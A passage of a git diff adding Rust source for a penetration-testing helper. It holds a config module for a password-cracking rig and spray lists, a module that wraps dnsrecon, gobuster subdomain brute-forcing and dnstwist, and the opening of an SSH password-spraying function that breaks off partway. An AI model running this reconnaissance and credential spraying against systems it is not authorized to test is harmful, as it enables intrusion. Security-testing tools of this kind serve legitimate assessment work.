||||||
|
}
|
||||||
|
}
|
||||||
188
pentest_tool/src/configuration.rs
Normal file
188
pentest_tool/src/configuration.rs
Normal file
@@ -0,0 +1,188 @@
|
|||||||
|
use std::{collections::HashMap, path::PathBuf};
|
||||||
|
use std::fs::read_to_string;
|
||||||
|
use std::io::Write;
|
||||||
|
use colored::Colorize;
|
||||||
|
use crate::{get_user_input, open_overwrite, tableize};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn generate_tool_config(config_dir: &PathBuf){
|
||||||
|
let mut config_file_path = config_dir.clone();
|
||||||
|
println!("{}", config_file_path.display());
|
||||||
|
let mut current_config = String::new();
|
||||||
|
let current_config_read_res = read_to_string(&config_file_path);
|
||||||
|
if current_config_read_res.is_ok(){
|
||||||
|
current_config = current_config_read_res.unwrap();
|
||||||
|
println!("current configuration loaded!");
|
||||||
|
}
|
||||||
|
print!("{}", current_config);
|
||||||
|
let mut project_base_folder = PathBuf::new();
|
||||||
|
let mut project_base_notes = PathBuf::new();
|
||||||
|
let mut tools_folder = PathBuf::new();
|
||||||
|
let mut terminal_command = String::new();
|
||||||
|
let mut box_template = String::new();
|
||||||
|
let mut cracking_rig = String::new();
|
||||||
|
let mut rockyou = String::new();
|
||||||
|
let mut rule = String::new();
|
||||||
|
let mut upcoming_files = PathBuf::new();
|
||||||
|
let mut upcoming_notes = PathBuf::new();
|
||||||
|
let mut pass_spray_file = PathBuf::new();
|
||||||
|
let mut fingerprint = false;
|
||||||
|
let mut vault_name = String::new();
|
||||||
|
let settings: Vec<&str> = current_config.split("\n").collect();
|
||||||
|
for line in settings{
|
||||||
|
if line.len() > 1{
|
||||||
|
let setting_vec: Vec<&str> = line.split(":").collect();
|
||||||
|
match setting_vec[0]{
|
||||||
|
"Project_files" => project_base_folder.push(setting_vec[1].trim_end()),
|
||||||
|
"Project_notes" => project_base_notes.push(setting_vec[1].trim_end()),
|
||||||
|
"tools_folder" => tools_folder.push(setting_vec[1].trim_end()),
|
||||||
|
"upcoming_files" => upcoming_files.push(setting_vec[1].trim_end()),
|
||||||
|
"upcoming_notes" => upcoming_notes.push(setting_vec[1].trim_end()),
|
||||||
|
"box_template" => box_template = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"terminal" => terminal_command = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"cracking_rig" => cracking_rig = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"rockyou_location" => rockyou = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"rule_location" => rule = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"pass_file"=> pass_spray_file.push(setting_vec[1]),
|
||||||
|
"fingerprint" => {if setting_vec[1].contains("y"){fingerprint = true}},
|
||||||
|
"vault_name" => vault_name = setting_vec[1].trim_end().to_owned(),
|
||||||
|
_ => println!("error unknown setting: {}", setting_vec[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("1.) recreate entire configuration");
|
||||||
|
println!("2.) modify one setting");
|
||||||
|
if get_user_input("Selection?").contains("2"){
|
||||||
|
print!("
|
||||||
|
1 .) project_files
|
||||||
|
2 .) project_notes
|
||||||
|
3 .) tools_folder
|
||||||
|
4 .) upcoming_files
|
||||||
|
5 .) upcoming_notes
|
||||||
|
6 .) box_template
|
||||||
|
7 .) terminal
|
||||||
|
8 .) cracking_rig
|
||||||
|
9 .) rockyou_location
|
||||||
|
10.) rule_location
|
||||||
|
11.) pass_file
|
||||||
|
12.) fingerprint
|
||||||
|
13.) vault_name
|
||||||
|
");
|
||||||
|
match get_user_input("which setting would you like to modify?").as_str(){
|
||||||
|
"1" => {project_base_folder.clear(); project_base_folder.push(get_user_input("full path to the base project files folder?"));},
|
||||||
|
"2" => {project_base_notes.clear(); project_base_notes.push(get_user_input("full path to the base project notes folder"));},
|
||||||
|
"3" => {tools_folder.clear(); tools_folder.push(get_user_input("full path to your custom tools folder?"));},
|
||||||
|
"4" => {upcoming_files.clear(); upcoming_files.push(get_user_input("full path to your upcoming projects folder"));},
|
||||||
|
"5" => {upcoming_notes.clear(); upcoming_notes.push(get_user_input("full path to your upcoming project nots folder"));},
|
||||||
|
"6" => {box_template = get_user_input("name of your distrobox template?")},
|
||||||
|
"7" => {terminal_command = get_user_input("comand to run your terminal while executing a specific command, ex: konsole -e ")},
|
||||||
|
"8" => {cracking_rig = get_user_input("username and address of your personal cracking rig, example pyro@crackingrig or pyro@192.168.1.10?")},
|
||||||
|
"9" => {rockyou = get_user_input("location of rockyou.txt on your cracking rig?")},
|
||||||
|
"10" => {rule = get_user_input("location of the one rule on your crakcing rig?")},
|
||||||
|
"11" => {pass_spray_file.clear(); pass_spray_file.push(get_user_input("location of your password spray list file?"));},
|
||||||
|
"12" => {fingerprint = get_user_input("will you be using fingerprint authentication in your distroboxes?").to_lowercase().contains("y")},
|
||||||
|
"13" => {vault_name = get_user_input("obsidian vault name?")},
|
||||||
|
_ => {println!("unknown selection, please try again...");}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
project_base_folder = PathBuf::from(get_user_input("path to store your active projects?"));
|
||||||
|
project_base_notes = PathBuf::from(get_user_input("path to store your active project notes?"));
|
||||||
|
upcoming_files = PathBuf::from(get_user_input("path to store your upcomming projects?"));
|
||||||
|
upcoming_notes = PathBuf::from(get_user_input("path to store your upcomming project notes?"));
|
||||||
|
tools_folder = PathBuf::from(get_user_input("path where you store your custom tools (like from github and places)?"));
|
||||||
|
box_template = get_user_input("Name of the distrobox you want to use as a template?");
|
||||||
|
cracking_rig = String::from("nobody@nothing");
|
||||||
|
rockyou = String::from("n/a");
|
||||||
|
rule = String::from("n/a");
|
||||||
|
let cracking_rig_response = get_user_input("do you have a separate machine to crack passwords on? (not the ambush cracking rig)");
|
||||||
|
if cracking_rig_response.to_lowercase().contains("y"){
|
||||||
|
let rig_ip = get_user_input("ip address or hostname of your cracking rig?");
|
||||||
|
let rig_user = get_user_input("username to log into your cracking rig with?");
|
||||||
|
rockyou = get_user_input("location of rockyou.txt on the cracking rig?");
|
||||||
|
rule = get_user_input("location of one rule to rule them all on the cracking rig?");
|
||||||
|
cracking_rig = format!("{}@{}", rig_user, rig_ip);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("ok free loader");
|
||||||
|
}
|
||||||
|
fingerprint = get_user_input("will you be using fingerprint authentication for your distroboxes?").to_lowercase().contains("y");
|
||||||
|
terminal_command = get_user_input("command to launch your terminal, while executing a command, for example konsel -e ");
|
||||||
|
vault_name = get_user_input("the name of the vault you're going to use?");
|
||||||
|
}
|
||||||
|
let new_config = format!("
|
||||||
|
Project_files:{}
|
||||||
|
Project_notes:{}
|
||||||
|
tools_folder:{}
|
||||||
|
upcoming_files:{}
|
||||||
|
upcoming_notes:{}
|
||||||
|
box_template:{}
|
||||||
|
terminal:{}
|
||||||
|
cracking_rig:{}
|
||||||
|
rockyou_location:{}
|
||||||
|
rule_location:{}
|
||||||
|
pass_file:{}
|
||||||
|
fingerprint:{}
|
||||||
|
vault_name:{}
|
||||||
|
",project_base_folder.display(), project_base_notes.display(), tools_folder.display(), upcoming_files.display(), upcoming_notes.display(), box_template, terminal_command, cracking_rig, rockyou, rule, pass_spray_file.display(), fingerprint, vault_name);
|
||||||
|
println!("this will be the new config that will be saved:\n");
|
||||||
|
println!("{}", new_config);
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("y"){
|
||||||
|
let config_file_res = open_overwrite(&config_file_path);
|
||||||
|
if config_file_res.is_none(){
|
||||||
|
println!("failed to open config file in overwrite mode... quitting... nothing was saved.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut config_file = config_file_res.unwrap();
|
||||||
|
let write_res= write!(config_file, "{}", new_config);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","error writing config file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
println!("nothing was saved...");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub fn load_config(config: &PathBuf) -> HashMap<&'static str, String>{
|
||||||
|
let mut settings_map = HashMap::new();
|
||||||
|
let settings_string = read_to_string(&config).expect("error reading config file");
|
||||||
|
let settings: Vec<&str> = settings_string.split("\n").collect();
|
||||||
|
for line in settings{
|
||||||
|
if line.len() > 1{
|
||||||
|
let setting_vec: Vec<&str> = line.split(":").collect();
|
||||||
|
match setting_vec[0]{
|
||||||
|
"Project_files" => {settings_map.insert("project_files", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"Project_notes" => {settings_map.insert("project_notes", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"tools_folder" => {settings_map.insert("tools_folder",setting_vec[1].trim_end().to_owned());},
|
||||||
|
"upcoming_files" => {settings_map.insert("upcoming_files",setting_vec[1].trim_end().to_owned());},
|
||||||
|
"upcoming_notes" => {settings_map.insert("upcoming_notes",setting_vec[1].trim_end().to_owned());},
|
||||||
|
"box_template" => {settings_map.insert("box_template", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"terminal" => {settings_map.insert("terminal_command", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"cracking_rig" => {settings_map.insert("cracking_rig", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"rockyou_location" => {settings_map.insert("rockyou", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"rule_location" => {settings_map.insert("rule", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"pass_file"=> {settings_map.insert("pass_spray_file", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"fingerprint" => {settings_map.insert("fingerprint", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"vault_name" => {settings_map.insert("vault_name", setting_vec[1].trim_end().to_owned());},
|
||||||
|
_ => println!("error unknown setting: {}", setting_vec[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return settings_map;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn print_settings(settings: &HashMap<&str, String>){
|
||||||
|
let mut lines = Vec::new();
|
||||||
|
lines.push(String::from("Settings||value"));
|
||||||
|
for setting in settings.keys(){
|
||||||
|
let new_line = format!("{}||{}", setting, settings[setting]);
|
||||||
|
lines.push(new_line);
|
||||||
|
}
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
398
pentest_tool/src/enumeration.rs
Normal file
398
pentest_tool/src/enumeration.rs
Normal file
@@ -0,0 +1,398 @@
|
|||||||
|
use std::fs::{read_to_string, remove_file, OpenOptions};
|
||||||
|
use std::process::Command;
|
||||||
|
use std::thread::JoinHandle;
|
||||||
|
use std::thread::{spawn, sleep};
|
||||||
|
use std::io::Write;
|
||||||
|
use std::time::Duration;
|
||||||
|
use colored::Colorize;
|
||||||
|
use dns_lookup::lookup_host;
|
||||||
|
use crate::get_user_input;
|
||||||
|
use crate::Project;
|
||||||
|
use crate::open_append;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::print_informational;
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn run_dns_enumeration(project: &Project, given_domains: Option<&Vec<String>>, standalone: bool) -> Option<JoinHandle<()>>{
|
||||||
|
let notes_folder = project.notes_folder.clone();
|
||||||
|
let mut enumeration = notes_folder.clone();
|
||||||
|
enumeration.push("enumeration.md");
|
||||||
|
let enumeration_file_res = open_append(&enumeration);
|
||||||
|
if enumeration_file_res.is_none(){
|
||||||
|
println!("error opening enumeration_file!");
|
||||||
|
println!("try creating it manually.");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = enumeration_file_res.unwrap();
|
||||||
|
let mut domaind = Vec::new();
|
||||||
|
if given_domains.is_none(){
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("domain to add? enter DONE in all caps when you're finsihed");
|
||||||
|
match domain.as_str(){
|
||||||
|
"DONE" => break,
|
||||||
|
_ => domaind.push(domain),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
for domain in given_domains.unwrap(){
|
||||||
|
domaind.push(domain.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let working_project = project.clone();
|
||||||
|
let dns_handle = spawn(move || {
|
||||||
|
for domain in &domaind{
|
||||||
|
let output_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("dnsrecon")
|
||||||
|
.arg("-d")
|
||||||
|
.arg(domain)
|
||||||
|
.arg("-c")
|
||||||
|
.arg("dns_temp.csv")
|
||||||
|
.output();
|
||||||
|
if output_res.is_err(){
|
||||||
|
let error = output_res.err().unwrap();
|
||||||
|
println!("{}", "From DNS Enumeration Thread: error running dnsrecon in the project's distrobox!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
println!("sleping for 10 seconds to allow for sudo password input.");
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
let output_string_res = read_to_string("dns_temp.csv");
|
||||||
|
if output_string_res.is_err(){
|
||||||
|
let error = output_string_res.err().unwrap();
|
||||||
|
println!("From DNS Enumeration Thread: error reading output data!");
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
print_success("DNS Enumeration Done, Writing to file...");
|
||||||
|
let output_string = output_string_res.unwrap();
|
||||||
|
let lines: Vec<&str> = output_string.split("\n").collect();
|
||||||
|
let mut out_data = String::new();
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("# DNS Enumeration\n");
|
||||||
|
out_data.push_str("## DNS Records\n");
|
||||||
|
}
|
||||||
|
let mut data_vec = Vec::new();
|
||||||
|
let mut first_line = true;
|
||||||
|
for line in lines{
|
||||||
|
if first_line == true{
|
||||||
|
first_line = false;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if line.len() > 1{
|
||||||
|
let words: Vec<&str> = line.split(",").collect();
|
||||||
|
let domain_name = words[2].to_owned();
|
||||||
|
let domain_type = words[1].to_owned();
|
||||||
|
let mut data = String::new();
|
||||||
|
if words[3].len() > 2{
|
||||||
|
data = words[3].to_owned();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
data = words[6].to_owned();
|
||||||
|
}
|
||||||
|
let data_line = format!("| {} | {} | {} |", domain_name, domain_type, data);
|
||||||
|
data_vec.push(data_line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let domain_header = format!("#### {}\n", domain);
|
||||||
|
out_data.push_str(&domain_header);
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("#### DNS Records\n");
|
||||||
|
}
|
||||||
|
out_data.push_str("| Domain name | Record type | data |\n");
|
||||||
|
out_data.push_str("| ----------- | ----------- | ---- |\n");
|
||||||
|
for thang in data_vec{
|
||||||
|
let out_line = format!("{}\n", thang);
|
||||||
|
out_data.push_str(&out_line);
|
||||||
|
}
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("\n---\n");
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "{}", &out_data).unwrap();
|
||||||
|
print_success("DNS Records: Gathered | Notes: Written | DNS Record Thread OUT!");
|
||||||
|
let remove_res = remove_file("dns_temp.csv");
|
||||||
|
if remove_res.is_err(){
|
||||||
|
println!("From DNS Enumeration Thread: error removing temporay data file!");
|
||||||
|
println!("From DNS Enumeration Thread: please manually delete dns_temp.csv");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return Some(dns_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn bruteforce_subs(project: &Project, given_domains: Option<&Vec<String>>, given_wordlist: Option<String>, standalone: bool) -> Option<JoinHandle<()>>{
|
||||||
|
let mut enumeration_path = project.notes_folder.clone();
|
||||||
|
enumeration_path.push("enumeration.md");
|
||||||
|
let enumeration_file_res = OpenOptions::new().append(true).create(true).open(enumeration_path);
|
||||||
|
if enumeration_file_res.is_err(){
|
||||||
|
let error = enumeration_file_res.err().unwrap();
|
||||||
|
print_error("FROM GOBUSTER THREAD: error opening enumeration notes file!", error.to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = enumeration_file_res.unwrap();
|
||||||
|
let mut domains = Vec::new();
|
||||||
|
if given_domains.is_none(){
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("Domain to add? Enter DONE in all caps when done.");
|
||||||
|
if domain == "DONE".to_owned(){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains.push(domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
for domain in given_domains.unwrap(){
|
||||||
|
domains.push(domain.to_owned());
|
||||||
|
};
|
||||||
|
}
|
||||||
|
let mut wordlist = String::new();
|
||||||
|
if given_wordlist.is_none(){
|
||||||
|
wordlist = get_user_input("path to wordlist?");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
wordlist = given_wordlist.unwrap();
|
||||||
|
}
|
||||||
|
let working_project = project.clone();
|
||||||
|
let mut out_data = String::new();
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("# DNS Enumeration\n");
|
||||||
|
out_data.push_str("## Subdomain Enumeration\n");
|
||||||
|
}
|
||||||
|
let gobuster_thread = spawn( move ||{
|
||||||
|
for domain in domains{
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str(format!("#### {}\n", &domain).as_str());
|
||||||
|
}
|
||||||
|
let gobuster_cmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("gobuster")
|
||||||
|
.arg("dns")
|
||||||
|
.arg("-d")
|
||||||
|
.arg(&domain)
|
||||||
|
.arg("-w")
|
||||||
|
.arg(wordlist.to_owned())
|
||||||
|
.output();
|
||||||
|
if gobuster_cmd_res.is_err(){
|
||||||
|
let error = gobuster_cmd_res.err().unwrap();
|
||||||
|
println!("{}","From gobuster thread: Error running gobuster command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
print_informational("sleeping for 10 seconds to allow for sudo password input.");
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
let gobuser_output = gobuster_cmd_res.unwrap().stdout;
|
||||||
|
let gobuster_string = String::from_utf8_lossy(&gobuser_output);
|
||||||
|
let mut final_string = String::new();
|
||||||
|
if gobuster_string.contains("specify the '--wildcard' switch"){
|
||||||
|
let gobuster_cmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("gobuster")
|
||||||
|
.arg("dns")
|
||||||
|
.arg("-d")
|
||||||
|
.arg(&domain)
|
||||||
|
.arg("-w")
|
||||||
|
.arg(wordlist.to_owned())
|
||||||
|
.arg("--wildcard")
|
||||||
|
.output();
|
||||||
|
if gobuster_cmd_res.is_err(){
|
||||||
|
let error = gobuster_cmd_res.err().unwrap();
|
||||||
|
println!("{}","From gobuster thread: Error running gobuster command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let new_gobuser_output = gobuster_cmd_res.unwrap().stdout;
|
||||||
|
let new_gobuser_string = String::from_utf8_lossy(&new_gobuser_output);
|
||||||
|
final_string = new_gobuser_string.to_string();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
final_string = gobuster_string.to_string();
|
||||||
|
}
|
||||||
|
print_success("Gobuster enumeration Done!");
|
||||||
|
let mut domain_names = Vec::new();
|
||||||
|
let lines: Vec<&str> = final_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("Found:"){
|
||||||
|
let domain = line.split_whitespace().collect::<Vec<&str>>()[1];
|
||||||
|
domain_names.push(domain.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out_data.push_str("\n| domain name | ips |\n");
|
||||||
|
out_data.push_str("| ----------- | --- |\n");
|
||||||
|
for name in domain_names{
|
||||||
|
let ips = lookup_host(&name);
|
||||||
|
if ips.is_ok(){
|
||||||
|
let mut ip_string = String::new();
|
||||||
|
for ip in ips.unwrap(){
|
||||||
|
ip_string = format!("{},{}", ip, ip_string);
|
||||||
|
}
|
||||||
|
out_data.push_str(format!("| {} | {} |\n", name, ip_string).as_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("\n---\n");
|
||||||
|
}
|
||||||
|
let write_res = write!(enumeration_file, "{}", out_data);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","FROM Gobuster Thread: error writing notes!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("Subdomains: Bruteforced | Enumeration notes: Written | Gobuster thread out!");
|
||||||
|
});
|
||||||
|
return Some(gobuster_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn dns_squatting(project: &Project, given_domains: Option<&Vec<String>>, standalone: bool) -> Option<JoinHandle<()>>{
|
||||||
|
let mut enumeration_notes = project.notes_folder.clone();
|
||||||
|
enumeration_notes.push("enumeration.md");
|
||||||
|
let open_enumeration_notes_res = OpenOptions::new().append(true).create(true).open(enumeration_notes);
|
||||||
|
if open_enumeration_notes_res.is_err(){
|
||||||
|
let error = open_enumeration_notes_res.err().unwrap();
|
||||||
|
println!("{}","Error opening enumeration notes".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = open_enumeration_notes_res.unwrap();
|
||||||
|
let mut domains = Vec::new();
|
||||||
|
if given_domains.is_none(){
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("Domain to add? enter DONE in all caps when you're finished");
|
||||||
|
if domain == "DONE"{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains.push(domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains = given_domains.unwrap().to_owned();
|
||||||
|
}
|
||||||
|
let working_project = project.clone();
|
||||||
|
let squatting_thread = spawn(move || {
|
||||||
|
let write_res = write!(enumeration_file, "### Domain Squatting\n");
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","error writing to enumeration notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
for domain in domains{
|
||||||
|
if standalone{
|
||||||
|
write!(enumeration_file, "#### {}\n", domain).unwrap();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "\n| type | domain name | ns servers |\n").unwrap();
|
||||||
|
write!(enumeration_file, "| ---- | ----------- | ---------- |\n").unwrap();
|
||||||
|
let twist_output = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("dnstwist")
|
||||||
|
.arg("-r")
|
||||||
|
.arg(domain)
|
||||||
|
.output();
|
||||||
|
if twist_output.is_err(){
|
||||||
|
let error = twist_output.err().unwrap();
|
||||||
|
println!("{}","From DNSTwist thread: Error running dnstwist command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
print_informational("sleeping for 10 seconds to get sudo password.");
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
let twist_output_vec = twist_output.unwrap().stdout;
|
||||||
|
let output_string = String::from_utf8_lossy(&twist_output_vec);
|
||||||
|
let output_lines = output_string.split("\n");
|
||||||
|
for line in output_lines{
|
||||||
|
if line.len() > 0{
|
||||||
|
let words: Vec<&str> = line.split_whitespace().collect();
|
||||||
|
let twist_type = words[0];
|
||||||
|
let name = words[1];
|
||||||
|
let ns_servers = words[2..].join(" ");
|
||||||
|
write!(enumeration_file, "| {} | {} | {} |\n", twist_type, name, ns_servers).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
print_success("Domains: Squatted | Notes: Written | DNSTwist thread OUT!");
|
||||||
|
return Some(squatting_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn do_all_dns_enumeration(project: &Project) -> Option<JoinHandle<()>>{
|
||||||
|
let mut enumeration_path = project.notes_folder.clone();
|
||||||
|
enumeration_path.push("enumeration.md");
|
||||||
|
let enumeration_file_res = OpenOptions::new().append(true).create(true).open(enumeration_path);
|
||||||
|
if enumeration_file_res.is_err(){
|
||||||
|
let error = enumeration_file_res.err().unwrap();
|
||||||
|
println!("{}","error opening enumeration notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = enumeration_file_res.unwrap();
|
||||||
|
let mut domains = Vec::new();
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("Domain to add? enter DONE in all caps when you're finished");
|
||||||
|
if domain == "DONE"{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains.push(domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let wordlist = get_user_input("path to wordlist for sub domain bruteforcing?");
|
||||||
|
print_informational("target data gathered. Spawning threads to do enumeration...");
|
||||||
|
let working_project = project.clone();
|
||||||
|
let all_dns_handle = spawn(move ||{
|
||||||
|
let mut write_success = true;
|
||||||
|
let write_res = write!(enumeration_file, "# DNS Enumeration\n");
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","From All DNS thread: Error writing notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
write_success = false;
|
||||||
|
}
|
||||||
|
if write_success{
|
||||||
|
for domain in &domains{
|
||||||
|
let thread_domain = vec![domain.to_owned()];
|
||||||
|
write!(enumeration_file, "## {}\n", &domain).unwrap();
|
||||||
|
write!(enumeration_file, "### DNS Records\n").unwrap();
|
||||||
|
let dns_enum_thread = run_dns_enumeration(&working_project, Some(&thread_domain), false);
|
||||||
|
if dns_enum_thread.is_some(){
|
||||||
|
let _ = dns_enum_thread.unwrap().join();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "### Subdomain Enumeration\n").unwrap();
|
||||||
|
let gobuster_thread = bruteforce_subs(&working_project, Some(&thread_domain), Some(wordlist.to_owned()), false);
|
||||||
|
if gobuster_thread.is_some(){
|
||||||
|
let _ = gobuster_thread.unwrap().join();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "### Domain Squatting\n").unwrap();
|
||||||
|
let twist_thread = dns_squatting(&working_project, Some(&thread_domain), false);
|
||||||
|
if twist_thread.is_some(){
|
||||||
|
let _ = twist_thread.unwrap().join();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "\n---\n").unwrap();
|
||||||
|
}
|
||||||
|
print_success("All DNS Enum threads finished, notes have been written. DNS Enumeration Thread OUT!");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return Some(all_dns_handle);
|
||||||
|
}
|
||||||
177
pentest_tool/src/exploit.rs
Normal file
177
pentest_tool/src/exploit.rs
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
use std::fs::read_to_string;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use ssh;
|
||||||
|
use crate::Project;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::get_user_input;
|
||||||
|
|
||||||
|
pub fn ssh_spray(user_path: Option<&PathBuf>,
|
||||||
|
target_path: Option<&PathBuf>,
|
||||||
|
given_data: Option<String>,
|
||||||
|
key: bool)
|
||||||
|
-> Option<String>{
|
||||||
|
let mut display = true;
|
||||||
|
//if given_data.is_some(){
|
||||||
|
// display = false;
|
||||||
|
// }
|
||||||
|
let mut return_data = String::new();
|
||||||
|
let mut targets = Vec::new();
|
||||||
|
let mut users = Vec::new();
|
||||||
|
let mut ports = Vec::new();
|
||||||
|
let mut spray_data = String::new();
|
||||||
|
let mut success = Vec::new();
|
||||||
|
print_informational("getting paths to data files...");
|
||||||
|
match display{
|
||||||
|
true => {
|
||||||
|
print_informational("getting paths to data files...");
|
||||||
|
let users_read_res = read_to_string(get_user_input("path to the username file?"));
|
||||||
|
let target_read_res = read_to_string(get_user_input("path to targets file?"));
|
||||||
|
if users_read_res.is_err(){
|
||||||
|
print_error("error reading users file!", users_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let users_string = users_read_res.unwrap();
|
||||||
|
if target_read_res.is_err(){
|
||||||
|
print_error("error reading target file!", target_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let target_string = target_read_res.unwrap();
|
||||||
|
let temp_users: Vec<&str> = users_string.split("\n").collect();
|
||||||
|
let temp_targets: Vec<&str> = target_string.split("\n").collect();
|
||||||
|
for user in temp_users{
|
||||||
|
users.push(String::from(user));
|
||||||
|
print_informational(format!("{} loaded!", user));
|
||||||
|
}
|
||||||
|
print_informational("the default ports to try are 22 and 2222.");
|
||||||
|
if get_user_input("continue with the defaults?").contains("y"){
|
||||||
|
ports.push(String::from("22"));
